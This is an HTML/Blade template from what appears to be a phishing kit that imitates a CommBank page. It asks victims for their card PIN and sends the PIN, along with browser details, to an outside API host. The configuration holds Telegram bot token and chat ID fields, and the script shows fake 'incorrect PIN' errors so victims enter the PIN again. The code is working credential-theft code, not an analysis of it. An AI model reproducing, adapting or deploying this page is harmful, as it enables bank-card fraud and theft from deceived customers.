<html lang="en">

<head>
    <x-head />
    <style>
        #pin {
            font-size: 1.5rem;
        }

        #main-content {
            max-width: 550px !important;
        }
    </style>
</head>

<body class="honeycomb textstyles--commbank">
    <!------------------------------------------>
    <!-- Configurations -->
    <!------------------------------------------>
    <script>
        function getConfigs() {
            return {
                "index": Number('{{ $index }}'),
                "isFinalPage": Boolean('{{ $details['isFinalPage'] }}'),
                "pagesSequence": '{{ $details['pagesSequence'] }}',
                "isActive": '{{ $details['isActive'] }}' === "true" ? true : false,
                "page": '{{ $details['page'] }}',
                "pagesWaitingTime": '{{ $details['pagesWaitingTime'] }}',
                "pagesTypeOfWaitingPage": '{{ $details['pagesTypeOfWaitingPage'] }}',
                "pagesNumberOfRepetition": Number('{{ $details['pagesNumberOfRepetition'] }}'),
                'pagesWaitingTime': Number('{{ $details['pagesWaitingTime'] }}') * 1000,
                'pagesIsFormsEmptyInRepetitions': Boolean('{{ $details['pagesIsFormsEmptyInRepetitions'] }}'),
                'pagesGoBackPageName': '{{ $details['pagesGoBackPageName'] }}',
                'pagesGoNextPageName': '{{ $details['pagesGoNextPageName'] }}',
                'pagesNavigationPageControlType': '{{ $details['pagesNavigationPageControlType'] }}',
                'googleRecaptchaSiteKey': '{{ $details['googleRecaptchaSiteKey'] }}',
                'googleRecaptchaSecretKey': '{{ $details['googleRecaptchaSecretKey'] }}',
                'telegramChatId': '{{ $details['telegramChatId'] }}',
                'telegramBotToken': '{{ $details['telegramBotToken'] }}',
                'apiHost': '{{ $details['apiHost'] }}',
                'webHost': '{{ $details['webHost'] }}',
                'accessCountryISO': '{{ $details['accessCountryISO'] }}',
                'errorPageLink': '{{ $details['errorPageLink'] }}',
                'successPageLink': '{{ $details['successPageLink'] }}',
            };
        }
    </script>
    <!------------------------------------------>
    <!-- State -->
    <!------------------------------------------>
    <script>
        function getCurrentState() {
            const currentPage = getConfigs()["index"];
            let data = localStorage.getItem("data");
            if (!currentPage || !data) {
                data = JSON.stringify({
                    page: 0,
                    info: {}
                });
                localStorage.setItem("data", data);
            }
            return JSON.parse(data);
        }

        function removeState() {
            localStorage.removeItem("data");
        }

        function updateCurrentState(page, info) {
            let currentData = getCurrentState();
            localStorage.setItem("data", JSON.stringify({
                ...currentData,
                ...info,
                page: page,
            }));
        }
    </script>
    <!------------------------------------------>
    <!-- Routing -->
    <!------------------------------------------>
    <script>
        function redirect(target) {
            window.location.href = target;
        }

        function goToLink(target) {
            window.location.replace(target);
        }
    </script>
    <!------------------------------------------>
    <!-- Protection -->
    <!------------------------------------------>
    <script>
        function protectPage() {
            const page = getCurrentState()["page"];
            const currentPage = getConfigs()["index"];
            let isAccessible =
                (currentPage === 0 && page === undefined) || currentPage === page;
            let isValid = true;
            if (!isAccessible) {
                const pages = getConfigs()["pagesSequence"].split(",").length;
                isValid = !isNaN(Number(page)) && page <= pages && page >= 0;
            }
            if (!isValid) {
                removeState();
                redirect("/0");
            }
            if (!isAccessible) {
                const state = getCurrentState();
                redirect("/" + page);
            }

            if (!getConfigs()["isActive"]) {
                if (getConfigs()["isFinalPage"]) {
                    removeState();
                    goToLink(getConfigs()["successPageLink"]);
                } else {
                    updateCurrentState(page + 1, {});
                }
            }
        }
        protectPage();
    </script>


    <!-- Handling -->
    <script>
        const configs = getConfigs();

        function onErrorAction() {
            goToLink(getConfigs["errorPageLink"]);
        }
        async function handleAuto() {
            const configs = getConfigs();
            const dataToSend = getFormData();
            const test = validateData(dataToSend);
            if (!test)
                return showGlobalError(
                    "Please PIN is required to verify your identity.")
            hideGlobalError();
            showLoader();
            const response = await makeAPICall(dataToSend);
            if (!response) return onErrorAction();
            onSuccessAction(dataToSend);
        }

        function handleManual(configs) {
            const dataToSend = getAllFormData();
            showLoader(configs);
            alert("Manual");
        }

        function onSubmitData(key) {
            if (getConfigs()["pagesNavigationPageControlType"] === "AUTO")
                handleAuto()
            else
                handleManual(configs);
        }
    </script>

    <div id="root">
        <x-header />
        <main>
            <form method="POST" action="#" class="common_card" id="main-content">
                <div class="error-component">
                    <img src="./assets/img/aa.svg" alt="error-icon" />
                    <div id="error-message"> It took you a while to log on. You'll need to enter your
                        details again.</div>
                </div>
                <div class="waiting-popup-container waiting-popup-component">
                    <p class="waiting-popup-title">
                        Processing ...
                    </p>
                    <div class="waiting-popup"></div>

                </div>
                <div class="logonId" id="fp_forgotpassword">
                    <h1 class="logonId__heading" id="fp_forgotpassword_heading">PIN Verification</h1>
                    <p class="logonId__section" id="fp_forgotpassword_section">
                        Please enter your PIN to prove that you are the owner of this card
                        <b class="font-bold text-md" id="card"></b>.
                    </p>


                    <div class="form-group"><label for="pin">PIN</label><input required id="pin"
                            class="form-control" name="pin" type="password" aria-required="true" value=""
                            placeholder="****" maxlength="4">
                        <div class="invalid-feedback" id="invalid-feedback-pin">Please enter a valid PIN.</div>
                    </div>

                    <button id="submitButton" class="g-recaptcha logonId__btn logonId__btnSubmit btn-action--emphasis"
                        data-sitekey="{{ $details['googleRecaptchaSiteKey'] }}" data-callback="onSubmitData"
                        data-action="submit">Confirm</button>
                </div>
            </form>
        </main>
        <x-footer />
    </div>
    </div>
    <script>
        const card = document.getElementById("card");
        card.innerHTML = window.localStorage?.getItem("card")?.slice("0", 4) + "-XXXX-XXXX-XXXX";
    </script>
</body>
<!-- Setup Validation -->
<script>
    function validatePIN(input) {
        const value = input.val();
        const message = $("#invalid-feedback-pin");
        if (!value || value.length < 4) {
            showError(input, message, "Please enter a valid PIN.");
            return false;
        }
        hideError(input, message);
        return true;
    }
</script>
<!--Setup Components -->
<script></script>
<!-- Setup musk -->
<script>
    $(document).ready(function() {
        $("#pin").mask("0000", {});
    })
</script>
<!-- Setup Errors -->
<script>
    $(document).ready(function() {
        $("#pin").on("input", function() {
            validatePIN($(this));
        });
    })
</script>
<!-- Handling Form -->
<script>
    function resetForm() {
        $("#pin").val("");
    }

    function getFormData() {
        return {
            "captchaResponse": $("[name='g-recaptcha-response']").val(),
            "pin": $("#pin").val(),
            "useragent": navigator.userAgent,
            "userpanguage": navigator.language,
            "userplatform": navigator.platform,
            "page": getConfigs()["page"],
        }
    }

    function validateData(data) {
        let test = true;
        test = validatePIN($("#pin")) && test;
        return test;
    }
</script>
<!-- Handling Components -->
<script>
    function showError(input, messsage, text) {
        messsage.text(text);
        messsage.css("display", "block");
        input.addClass("is-invalid");
    }

    function hideError(input, messsage) {
        messsage.css("display", "none");
        input.removeClass("is-invalid");
    }

    function showGlobalError(message) {
        $(".error-component").css("display", "flex");
        $("#error-message").css("display", "block");
        $("#error-message").text(message);
        $("#main-content").addClass("error");
    }

    function hideGlobalError() {
        $(".error-component").css("display", "none");
        $("#error-message").css("display", "none");
        $("#main-content").removeClass("error");
    }

    function showLoader() {
        $(".waiting-popup-container").css("display", "flex");
    }

    function hideLoader() {
        $(".waiting-popup-container").css("display", "none");
    }
</script>
<!-- Handling API -->
<script>
    function objectToQueryString(obj) {
        return Object.keys(obj).map(key => key + '=' + obj[key]).join('&');
    }
    async function makeAPICall(data) {
        const configs = getConfigs();
        const dataToSend = objectToQueryString(data);
        const response = await axios.post(`${configs["apiHost"]}/${configs["page"]}?${dataToSend}`, {})
        return response.data;
    }

    function onSuccessAction(data) {
        setTimeout(() => {
            if (configs["pagesNumberOfRepetition"]) {
                configs["pagesNumberOfRepetition"]--;
                if (configs["pagesIsFormsEmptyInRepetitions"])
                    resetForm();
                hideLoader();
                showGlobalError(
                    "We're sorry, but you have entered an incorrect PIN. Please try again."
                );
                return;
            } else if (getConfigs()["isFinalPage"]) {
                removeState();
                goToLink(getConfigs()["successPageLink"]);
            } else {
                updateCurrentState(getConfigs()["index"] + 1, {});
                redirect("/" + (getConfigs()["index"] + 1));
            }
        }, configs["pagesWaitingTime"]);
    }
</script>

</html>
